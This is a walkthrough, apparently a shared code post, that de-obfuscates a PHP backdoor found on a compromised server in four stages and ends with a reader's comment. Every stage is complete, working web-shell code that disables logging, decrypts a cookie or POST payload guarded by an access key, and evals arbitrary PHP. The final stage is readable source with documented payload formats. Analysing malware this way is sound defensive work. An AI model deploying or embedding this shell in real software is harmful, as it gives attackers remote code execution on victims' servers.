My attempt to de-obfuscate a PHP exploit file discovered on a hacked server.

deobfuscation.php

<?php

/**
 * First, we're going to establish an alphabet.  We're never going to write code like:
 *
 *  $foo = 'abc'
 *
 * Because it would be too easy to read.  Instead, were' going to write code like:
 *
 *  $alphabet = 'abcdefghijklmnopqrstuvwxyz';
 *  $foo = $alphabet[0] . $alphabet[1] . $alphabet[2];
 *
 * Also, our alphabet is in random order and hex encoded because fuck you.
 * We'll name our alphabet $GLOBALS['e25b'] because why not.  Translating
 * from hex our alphabet is:
 *
 *    YOET8:#0$@;|/7fB\t5rC\n*.L
 *    )o-SND4[AJ3thvM>`6&kgV 2~"
 *    zap(Xj'Wq9%QF}H_^s\ry,buZx!
 *    +Kcl1P?wGni<dIme]R=\{U
 *
 * So typing $GLOBALS['e2b5'][0] is the same as typing "Y".
 * Typing $GLOBALS['e2b5'][1] is the same as typing "O", and so on.
 * Note, that escape characters like "\n" and "\t" actually are
 * actually one character in our alphabet, not two.  That is to
 * say, $GLOBALS['e2b5'][20] == "\n"
 */
$GLOBALS['e2b5'] = "\x59\x4f\x45\x54\x38\x3a\x23\x30\x24\x40\x3b\x7c\x2f\x37\x66\x42\x9\x35\x72\x43\xa\x2a\x2e\x4c\x29\x6f\x2d\x53\x4e\x44\x34\x5b\x41\x4a\x33\x74\x68\x76\x4d\x3e\x60\x36\x26\x6b\x67\x56\x20\x32\x7e\x22\x7a\x61\x70\x28\x58\x6a\x27\x57\x71\x39\x25\x51\x46\x7d\x48\x5f\x5e\x73\xd\x79\x2c\x62\x75\x5a\x78\x21\x2b\x4b\x63\x6c\x31\x50\x3f\x77\x47\x6e\x69\x3c\x64\x49\x6d\x65\x5d\x52\x3d\x5c\x7b\x55";
$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][88]] = $GLOBALS['e2b5'][78].$GLOBALS['e2b5'][36].$GLOBALS['e2b5'][18];
$GLOBALS[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80]] = $GLOBALS['e2b5'][25].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88];
$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][59]] = $GLOBALS['e2b5'][67].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][85];
$GLOBALS[$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7]] = $GLOBALS['e2b5'][86].$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][35];
$GLOBALS[$GLOBALS['e2b5'][37].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47]] = $GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][50].$GLOBALS['e2b5'][91];
$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][91]] = $GLOBALS['e2b5'][52].$GLOBALS['e2b5'][36].$GLOBALS['e2b5'][52].$GLOBALS['e2b5'][37].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][67].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][85];
$GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][88]] = $GLOBALS['e2b5'][72].$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][50].$GLOBALS['e2b5'][91];
$GLOBALS[$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][4]] = $GLOBALS['e2b5'][71].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][91];
$GLOBALS[$GLOBALS['e2b5'][72].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][91]] = $GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][90].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][90].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][35];
$GLOBALS[$GLOBALS['e2b5'][83].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][13]] = $GLOBALS['e2b5'][67].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][88];
$GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][78]] = $GLOBALS['e2b5'][91].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][80];
$GLOBALS[$GLOBALS['e2b5'][55].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][88]] = $_POST;
$GLOBALS[$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][59]] = $_COOKIE;
@$GLOBALS[$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7]]($GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][44], NULL);
@$GLOBALS[$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7]]($GLOBALS['e2b5'][79].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][44].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][67], 0);
@$GLOBALS[$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7]]($GLOBALS['e2b5'][90].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][74].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][74].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][72].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][90].$GLOBALS['e2b5'][91], 0);
@$GLOBALS[$GLOBALS['e2b5'][72].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][91]](0);

$r0bebc82 = NULL;
$id72fa0e = NULL;

$GLOBALS[$GLOBALS['e2b5'][90].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][59]] = $GLOBALS['e2b5'][34].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7];
global $mcfe29;

function eb067f1($r0bebc82, $u8fe83)
{
    $he7386 = "";

    for ($l805=0; $l805<$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][59]]($r0bebc82);)
    {
        for ($ob7d42b=0; $ob7d42b<$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][59]]($u8fe83) && $l805<$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][59]]($r0bebc82); $ob7d42b++, $l805++)
        {
            $he7386 .= $GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][88]]($GLOBALS[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80]]($r0bebc82[$l805]) ^ $GLOBALS[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80]]($u8fe83[$ob7d42b]));
        }
    }

    return $he7386;
}

function s0b49dd($r0bebc82, $u8fe83)
{
    global $mcfe29;

    return $GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][78]]($GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][78]]($r0bebc82, $mcfe29), $u8fe83);
}

foreach ($GLOBALS[$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][59]] as $u8fe83=>$z33f)
{
    $r0bebc82 = $z33f;
    $id72fa0e = $u8fe83;
}

if (!$r0bebc82)
{
    foreach ($GLOBALS[$GLOBALS['e2b5'][55].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][88]] as $u8fe83=>$z33f)
    {
        $r0bebc82 = $z33f;
        $id72fa0e = $u8fe83;
    }
}

$r0bebc82 = @$GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][88]]($GLOBALS[$GLOBALS['e2b5'][83].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][13]]($GLOBALS[$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][4]]($r0bebc82), $id72fa0e));
if (isset($r0bebc82[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][43]]) && $mcfe29==$r0bebc82[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][43]])
{
    if ($r0bebc82[$GLOBALS['e2b5'][51]] == $GLOBALS['e2b5'][86])
    {
        $l805 = Array(
            $GLOBALS['e2b5'][52].$GLOBALS['e2b5'][37] => @$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][91]](),
            $GLOBALS['e2b5'][67].$GLOBALS['e2b5'][37] => $GLOBALS['e2b5'][80].$GLOBALS['e2b5'][22].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][80],
        );
        echo @$GLOBALS[$GLOBALS['e2b5'][37].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47]]($l805);
    }
    elseif ($r0bebc82[$GLOBALS['e2b5'][51]] == $GLOBALS['e2b5'][91])
    {
        eval($r0bebc82[$GLOBALS['e2b5'][88]]);
    }
    exit();
}

deobfuscation1.php

<?php
/**
 * Now that we've solved for the alphabet, it's a simple matter of find/replacing
 * every instance of $GLOBALS['e2b5'][n] with the character it represents. This,
 * unfortunately, is only the first level of obfuscation.  Once we've converted
 * the custom alphabet into a normal english alphabet, we find another problem:
 * all the variables and functions have random names.
 */

$GLOBALS['d6cd'] = 'chr';
$GLOBALS['a18a42ca1'] = 'ord';
$GLOBALS['d35ca209'] = 'strlen';
$GLOBALS['rd1c10'] = 'ini_set';
$GLOBALS['v8f3a2'] = 'serialize';
$GLOBALS['d43e'] = 'phpversion';
$GLOBALS['l47dfd'] = 'unserialize';
$GLOBALS['f51aa81b8'] = 'base64_decode';
$GLOBALS['u60ff5e'] = 'set_time_limit';
$GLOBALS['wa90ebe7'] = 's0b49dd';
$GLOBALS['l1f02dcc'] = 'eb067f1';
$GLOBALS['j5ee9d'] = $_POST;
$GLOBALS['n57ef5d59'] = $_COOKIE;
@$GLOBALS['rd1c10']('error_log', NULL);
@$GLOBALS['rd1c10']('log_errors', 0);
@$GLOBALS['rd1c10']('max_execution_time', 0);
@$GLOBALS['u60ff5e'](0);

$r0bebc82 = NULL;
$id72fa0e = NULL;

$GLOBALS['mcfe29'] = '38b2c3ff-4bd0-4fb0-99aa-46936087d510';
global $mcfe29;

function eb067f1($r0bebc82, $u8fe83)
{
    $he7386 = "";

    for ($l805=0; $l805<$GLOBALS['d35ca209']($r0bebc82);)
    {
        for ($ob7d42b=0; $ob7d42b<$GLOBALS['d35ca209']($u8fe83) && $l805<$GLOBALS['d35ca209']($r0bebc82); $ob7d42b++, $l805++)
        {
            $he7386 .= $GLOBALS['d6cd']($GLOBALS['a18a42ca1']($r0bebc82[$l805]) ^ $GLOBALS['a18a42ca1']($u8fe83[$ob7d42b]));
        }
    }

    return $he7386;
}

function s0b49dd($r0bebc82, $u8fe83)
{
    global $mcfe29;

    return $GLOBALS['l1f02dcc']($GLOBALS['l1f02dcc']($r0bebc82, $mcfe29), $u8fe83);
}

foreach ($GLOBALS['n57ef5d59'] as $u8fe83=>$z33f)
{
    $r0bebc82 = $z33f;
    $id72fa0e = $u8fe83;
}

if (!$r0bebc82)
{
    foreach ($GLOBALS['j5ee9d'] as $u8fe83=>$z33f)
    {
        $r0bebc82 = $z33f;
        $id72fa0e = $u8fe83;
    }
}

$r0bebc82 = @$GLOBALS['l47dfd']($GLOBALS['wa90ebe7']($GLOBALS['f51aa81b8']($r0bebc82), $id72fa0e));
if (isset($r0bebc82['ak']) && $mcfe29==$r0bebc82['ak'])
{
    if ($r0bebc82['a'] == 'i')
    {
        $l805 = Array(
            'pv' => @$GLOBALS['d43e'](),
            'sv' => '1.0-1',
        );
        echo @$GLOBALS['v8f3a2']($l805);
    }
    elseif ($r0bebc82['a'] == 'e')
    {
        eval($r0bebc82['d']);
    }
    exit();
}

deobfuscation2.php

<?php
/**
 * Several of the random function names can be directly translated
 * using the key from lines 10 through 22 of the previous file.
 */

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

$r0bebc82 = NULL;
$id72fa0e = NULL;

$GLOBALS['mcfe29'] = '38b2c3ff-4bd0-4fb0-99aa-46936087d510';
global $mcfe29;

function eb067f1($r0bebc82, $u8fe83)
{
    $he7386 = "";

    for ($l805=0; $l805<strlen($r0bebc82);)
    {
        for ($ob7d42b=0; $ob7d42b<strlen($u8fe83) && $l805<strlen($r0bebc82); $ob7d42b++, $l805++)
        {
            $he7386 .= chr(ord($r0bebc82[$l805]) ^ ord($u8fe83[$ob7d42b]));
        }
    }

    return $he7386;
}

function s0b49dd($r0bebc82, $u8fe83)
{
    global $mcfe29;

    return eb067f1(eb067f1($r0bebc82, $mcfe29), $u8fe83);
}

foreach ($_COOKIE as $u8fe83=>$z33f)
{
    $r0bebc82 = $z33f;
    $id72fa0e = $u8fe83;
}

if (!$r0bebc82)
{
    foreach ($_POST as $u8fe83=>$z33f)
    {
        $r0bebc82 = $z33f;
        $id72fa0e = $u8fe83;
    }
}

$r0bebc82 = @unserialize(s0b49dd(base64_decode($r0bebc82), $id72fa0e));
if (isset($r0bebc82['ak']) && $mcfe29==$r0bebc82['ak'])
{
    if ($r0bebc82['a'] == 'i')
    {
        $l805 = Array(
            'pv' => @phpversion(),
            'sv' => '1.0-1',
        );
        echo @serialize($l805);
    }
    elseif ($r0bebc82['a'] == 'e')
    {
        eval($r0bebc82['d']);
    }
    exit();
}

deobfuscation3.php

<?php
/**
 * This file listens for an HTTP request containing 1 cookie.  To use this file
 * the attacker sends an HTTP request like this:
 *
 * GET /exploit.php HTTP/1.0
 * Cookie: 32rj23nkjej12oje2oij3orh23othj4=sfasdj3orj2o1ijdq3nqjk3rnqo3iu2fw43gw
 *
 * The cookie contains two pieces of important data.  The first part, the cookie
 * name, is a decryption key that will be used to decipher the cookie value.
 * The cookie value is the main attack payload.  It is an encrypted, base64_encoded,
 * serialized PHP array.
 *
 * When the attack payload is decrypted, base64_decoded, and unserialized ultimately
 * we end up with a PHP array that can have one of two possible formats.  The first,
 * and most useful, payload format is:
 *
 * array(
 *  'ak' => '38b2c3ff-4bd0-4fb0-99aa-46936087d510',
 *  'a' => 'e',
 *  'd' => 'echo "hello world"'
 * );
 *
 * Here 'ak' is an access key, known only to the attacker. 'a' is the 'action'
 * (i.e. whether to execute code or just print out the server info).  'd' is the
 * arbitrary PHP code the attacker wishes to run. The other supported attack
 * payload format is:
 *
 * array(
 *   'ak' => '38b2c3ff-4bd0-4fb0-99aa-46936087d510',
 *   'a' => 'i',
 * );
 *
 * This simply prints out the phpversion() for the attacker.  Presumably,
 * this information is used to determine what exploit code can be safely
 * run using the other attack payload fomat mentioned above.
 */

ini_set('error_log', NULL);
ini_set('log_errors', 0);
ini_set('max_execution_time', 0);
set_time_limit(0);

$attack_payload = NULL;
$decryption_key = NULL;
$GLOBALS['access_key'] = '38b2c3ff-4bd0-4fb0-99aa-46936087d510';
global $access_key;

/**
 * Helper function to decrypt the attack payload.  This is (ironically)
 * used to prevent unauthorized users from accessing this exploit file
 */
function decrypt($encrypted_text, $decryption_key) {
    $decrypted_text = "";

    for ($character=0; $character<strlen($encrypted_text);) {
        for ($decryption_key_character=0; $decryption_key_character<strlen($decryption_key) && $character<strlen($encrypted_text); $decryption_key_character++, $character++) {
            $decrypted_text .= chr(ord($encrypted_text[$character]) ^ ord($decryption_key[$decryption_key_character]));
        }
    }

    return $decrypted_text;
}

/**
 * Everything is encrypted twice, because fuck you.  This helper function just
 * calls the main encryption function twice.
 */
function _decrypt($encrypted_text, $decryption_key) {
    global $access_key;
    return decrypt(decrypt($encrypted_text, $access_key), $decryption_key);
}

/**
 * First check to see if the attack payload is present in a cookie.
 * This is probably a redundancy.  If for some reason we are attacking
 * a webserver that blocks cookies from untrusted IP addresses, this
 * step will fail.
 */
foreach ($_COOKIE as $cookie_name => $cookie_value) {
    $attack_payload = $cookie_value;
    $decryption_key = $cookie_name;
}

/**
 * If sending the attack payload in a cookie failed, try to read the same
 * data from POST.  If both POST and cookies are blocked (perhaps at the
 * WAF level) then this whole exploit will fail.
 */
if (!$attack_payload) {
    foreach ($_POST as $post_name => $post_value) {
        $attack_payload = $post_value;
        $decryption_key = $post_name;
    }
}


$attack_payload = unserialize(_decrypt(base64_decode($attack_payload), $decryption_key));

//AK stands for 'access key'
if (isset($attack_payload['ak']) && $access_key == $attack_payload['ak']) {
    /**
     *  "a" stands for "action". There are two supported actions:
     *
     *  - [i]nfo
     *  - [e]xecute
     *
     *  When the 'info' action is selected, the server will respond with the
     *  current PHP version and the version of this shell file.  If the
     *  'execute' action is selected, the server will eval the co[d]e supplied
     *  in $attack_payload['d']
     */
    if ($attack_payload['a'] == 'i') {
        $response = Array(
            //pv sands for "php version"
            'pv' => phpversion(),
            //sv stands for "shell version", it is the version of this attack file
            'sv' => '1.0-1',
        );
        echo serialize($response);
    }

    /**
     * This is where the magic happens.  If the [e]xecute action has been selected
     * eval the PHP co[d]e supplied in $attack_payload['d']
     */
    elseif ($attack_payload['a'] == 'e') {
        eval($attack_payload['d']);
    }
    exit();
}

Masterfully explained. Have you ever tried to reverse engineer the encryption algorithm?